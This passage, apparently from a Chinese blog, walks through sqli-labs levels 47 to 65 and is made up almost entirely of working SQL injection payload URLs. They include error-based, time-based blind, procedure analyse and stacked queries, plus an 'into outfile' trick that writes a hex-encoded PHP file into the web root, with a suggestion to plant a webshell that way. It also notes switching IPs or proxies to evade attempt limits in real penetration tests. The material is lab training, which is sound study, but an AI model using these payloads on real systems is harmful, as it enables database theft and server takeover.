into outfileD:\\phpStudy\\WWW\\sqli-labs-master\\test1.txt lines terminated by 0x(网马进行16进制转换)

less47

本关卡sql语句为:

1
SELECT * FROM users ORDER BY '$id'

将id变成字符型,因此依旧按照注入的位置进行分类。

(1)order by后的参数

只能使用and来进行a报错或者延时注入。

①and rand 相结合的方式

1
http://172.18.9.91/sqli-labs-master/Less-47/index.php?sort=1'and rand(ascii(left(database(),1))=115)--+

换成116

1
2
http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1%
27and%20rand(ascii(left(database(),1))=115)--+

mysql天书里面是说会不一样,但是我这边测试是一样的。。。。

此处后期经过测试, 还是存在问题的, 我们不能使用这种方式进行准确的注入。 此处留下只
是一个示例。

②可以利用报错的方式进行

1
http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

可以看到user()的内容,同时可以构造其他语句进行注入。

③延时注入

1
http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+

这里因 database()为 security, 所以第一个字母的 s 的 ascii 为 115, 此处直接显示, 当改为116 或者其他的数字的时候, 就要延时了

(2) procedure analyse 参数后注入

利用 procedure analyse 参数, 我们可以执行报错注入。 同时, 在 procedure analyse 和 order by 之间可以存在 limit 参数, 我们在实际应用中, 往往也可能会存在 limit 后的注入, 可以利用 procedure analyse 进行注入。
以下为示范例

1
http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1' procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

(3)导入导出文件 into outfile 参数

1
http://172.18.9.91/sqli-labs-master/Less-47/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.txt"-- +

将查询结果导入到文件当中

可以考虑上传网马,利用lines terminated by.

into outfile D:\phpStudy\WWW\sqli-labs-master\test.txt terminated by 0x(网马进行16进制转换)

1
http://172.18.9.91/sqli-labs-master/Less-47/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

此处16进制文件为 <?php phpinfo();?>

访问test.php

less48

该关卡和less46的区别在于报错注入无法使用,不进行错误回显,但是其余方法是可以使用的。

可以利用sort=rand(true/false)进行判断

1
http://172.18.9.91/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178)

1
http://172.18.9.91/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)

and后的延时注入

1
http://172.18.9.91/sqli-labs-master/Less-48/?sort=1%20and%20(if(ascii(substr(database(),1,1))=115,0,sleep(5)))

同样可以使用into outfile进行

1
http://172.18.9.91/sqli-labs-master/Less-47/?sort=1 into outfile "路径"

less49

本关卡与less47相似,区别在于没有错误回显,但是可以通过延时注入和导入文件注入的方式进行。

延时注入:

1
http://172.18.9.91/sqli-labs-master/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+

或者利用into outfile进行注入:

1
http://172.18.9.91/sqli-labs-master/Less-49/?sort=1' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

less50

该关卡开始进行的是 order by stacked injection

执行sql语句使用的是mysqli-multi_query()函数,而之前使用的是mysqli_query()函数,两者的区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,由此可以执行多个sql语句进行,也就是之前的stacked injection。

直接构造playload:

1
http://172.18.9.91/sqli-labs-master/Less-50/index.php?sort=1;create table less50 like users

也就是跟前面的stacked injection一样的,就不详细说了。

less51

本关卡与less50最主要的区别在于sql查询语句中对传入参数的处理

1
SELECT * FROM users ORDER BY '$id'

在此关卡要进行stacked injection,要注释掉',playload如下:

1
http://172.18.9.91/sqli-labs-master/Less-51/index.php?sort=1';create table less51 like users--+

less52

与less50是一样的,区别在于mysql错误不会再前台显示,但是对于堆叠注入没有影响。

1
http://172.18.9.91/sqli-labs-master/Less-52/index.php?sort=1;create table less52 like users

就不截图了

less53

与less51是一样的,区别也在于mysql错误不回显,但是不影响堆叠注入。

1
http://172.18.9.91/sqli-labs-master/Less-53/index.php?sort=1';create table less53 like users--+

第四部分/page-4 Challenges

less54

此系列主要是一个进阶的学习, 将前面学到的知识进行更深次的运用。 这一关我们主要考察
的依旧是字符型注入, 但是只能尝试十次。 所以需要在尝试的时候进行思考。 如何能更少的
减少次数。 这里的表名和密码等是每十次尝试后就强制进行更换。

有键入数据的界面得知,数据库的名字为challenges,所以只需从获取表名开始。

1
http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_security='challenges'--+

获知表名:ckcibj2h4j,找到该表的所有列

1
http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ckcibj2h4j'--+

获取到所有列:id,sessid,secret_IZGY,tryy,尝试将所有的数据进行查看,此处知道密码在secret_IZGY列中,所以直接查看该列的内容。

1
http://172.18.9.91/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(secret_IZGY) from challenges.ckcibj2h4j--+

获得密码:31RUuO2jP4KOXg2plHOs2U5s,提交

其实实际渗透测试当中, 我们可以利用更换 ip(可以考虑代理) 或者更换浏览器等, 要看服
务器端检测什么内容进行限制

less55

本关卡的sql语句为:

1
SELECT * FROM security.users WHERE id=($id) LIMIT 0,1

这边与less54是一样的,只需将id进行一个处理,只需要)即可,但是这边要求次数为14次。

playload

1
2
3
4
5
6
http://172.18.9.91/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
获得表名:4w6ojib0ir
http://172.18.9.91/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='4w6ojib0ir'--+
获得列名:id,sessid,secret_Q2XN,tryy
http://172.18.9.91/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(secret_Q2XN) from challenges.4w6ojib0ir--+
获得密码:yOzUKUnWHxY5wz79sJpAB9W8

less56

与less54 55形式一致,查看sql查询语句

1
SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1

因此该关卡playload如下:

1
2
3
4
5
6
http://172.18.9.91/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
获得表名:dblwc23jmy
http://172.18.9.91/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='dblwc23jmy'--+
获得列名:id,sessid,secret_KJEU,tryy
http://172.18.9.91/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(secret_KJEU) from challenges.dblwc23jmy--+
获得密码:qOHweRkLp9NGqcOXfRWXmhy5

less57

1
2
3
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

从代码中看到对id进行双引号处理,所以在构造的时候也需要进行双引号处理。

playload

1
2
3
4
http://172.18.9.91/sqli-labs-master/Less-57/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
获取表名:dblwc23jmy
......
参考上面

less58

从源码看,执行sql语句之后没有返回数据库中查询到的数据,所以此处不能使用union联合注入,可采用报错注入:

1
2
3
4
5
6
http://172.18.9.91/sqli-labs-master/Less-58/?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
获取表名:rjd4tc06ea
http://172.18.9.91/sqli-labs-master/Less-58/?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='rjd4tc06ea'),0x7e))--+
获取列名:id,sessid,secret_ST23,tryy
http://172.18.9.91/sqli-labs-master/Less-58/?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(secret_ST23) from challenges.rjd4tc06ea),0x7e))--+
获取密码:tLpqQzTWb71CGf1cl8bzxSL1

ps:这边只有五次机会,要注意

less59

查看源码,发现与less58一致,只是id的处理不一样,无需加单引号

1
2
3
4
5
6
http://172.18.9.91/sqli-labs-master/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
获得表名:9xpilux6yo
http://172.18.9.91/sqli-labs-master/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='9xpilux6yo'),0x7e))--+
获得列名:id,sessid,secret_VZL8,tryy
http://172.18.9.91/sqli-labs-master/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(secret_VZL8) from challenges.9xpilux6yo),0x7e))--+
获得密码:OO6kBkvJ5VfAalX7e7HXkg6F

less60

查看源码,发现与less59一致,只是id的处理不一样,增加双引号和括号

1
2
3
4
http://172.18.9.91/sqli-labs-master/Less-60/?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
获得表名:6nq7xqxsry
......
参考上面

less61

这次比较少见,是使用双括号处理id

1
2
http://172.18.9.91/sqli-labs-master/Less-61/?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
获得表名:0xoip0m86r

less62

此处union和报错注入都是失效的,采用延时注入的方式:

1
http://172.18.9.91/sqli-labs-master/Less-62/?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

当正确的时候时间很短, 当错误的时候时间大于 10 秒, 每位去尝试,逐步才出相关信息

less63

与less62一致,但是只能使用延时注入的方式

1
http://172.18.9.91/sqli-labs-master/Less-63/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

当正确的时候时间很短, 当错误的时候时间大于 10 秒

less64

sql语句

1
SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1

playload

1
http://172.18.9.91/sqli-labs-master/Less-64/?id=1)) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

当正确的时候时间很短, 当错误的时候时间大于 10 秒。

less65

1
2
3
$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

此处对 id 进行了 “” () 的处理, 构造 payload 时应该注意

playload

1
http://172.18.9.91/sqli-labs-master/Less-65/?id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

!!!!!!!Ending